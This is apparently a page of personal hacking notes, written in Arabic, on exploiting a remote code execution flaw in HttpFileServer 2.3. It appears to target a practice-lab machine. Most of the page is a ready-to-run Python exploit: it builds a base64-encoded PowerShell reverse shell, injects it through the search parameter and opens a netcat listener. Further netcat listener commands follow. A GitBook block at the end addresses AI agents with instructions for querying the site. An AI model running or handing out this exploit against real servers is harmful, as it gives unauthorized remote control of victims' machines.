> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/httpfileserver-2.3-cms-exploitation.md).

# HttpFileServer 2.3

تم اكتشاف خادم ويب HttpFileServer 2.3. هذا الإصدار عرضة لتنفيذ تعليمات برمجية عن بُعد (RCE).

<figure><img src="/files/3c63ed2b4ec22e3286ea6e42524cef50598b8e7d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cfd707868d70aeebcb02b38560399493b3d41fae" alt="" width="503"><figcaption></figcaption></figure>

### **البحث عن استغلال**

الأمر:

```bash
searchsploit -m windows/remote/49584.py
```

{% embed url="<https://www.exploit-db.com/exploits/39161>" %}

**سكربت بايثون مخصص**

<figure><img src="/files/20fae38cc524cf95d150831447aae173a20b4ca5" alt=""><figcaption></figcaption></figure>

**سكربت بايثون مخصص**

عدّل السكربت ليشمل المعاملات التالية:

* `LHOST` : عنوان IP المحلي الخاص بك (VPN).
* `LPORT` : منفذ المستمع المحلي (مثلاً 4444).
* `RHOST`: عنوان IP الهدف.
* `RPORT`: منفذ الخدمة الضعيفة، على سبيل المثال 80.

```python
import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80

# تعريف الأمر الذي سيتم كتابته إلى ملف
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

# ترميز الأمر بصيغة base64
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nتم ترميز الأمر بصيغة base64...")

# تعريف الحمولة المراد تضمينها في الرابط
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# ترميز الحمولة وإرسال طلب HTTP GET
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nتم ترميز الحمولة وإرسال طلب HTTP GET إلى الهدف...")

# طباعة بعض المعلومات
print("/nجاري طباعة بعض المعلومات لأغراض التصحيح...")
print("العنوان المحلي: ", lhost)
print("منفذ المستمع المحلي: ", lport)
print("العنوان البعيد: ", rhost)
print("منفذ الهدف: ", rport)
print("الحمولة: ", payload)

# الاستماع إلى الاتصالات
print("/nجاري الاستماع إلى الاتصال...")
os.system(f'nc -nlvp {lport}')
```

اجعل جهازك مستمعًا:

```bash
rlwrap nc -nlvp 4444
```

<figure><img src="/files/41b44ac81d39b0e1ed4aac7e714ddc2e38b16c8b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/httpfileserver-2.3-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
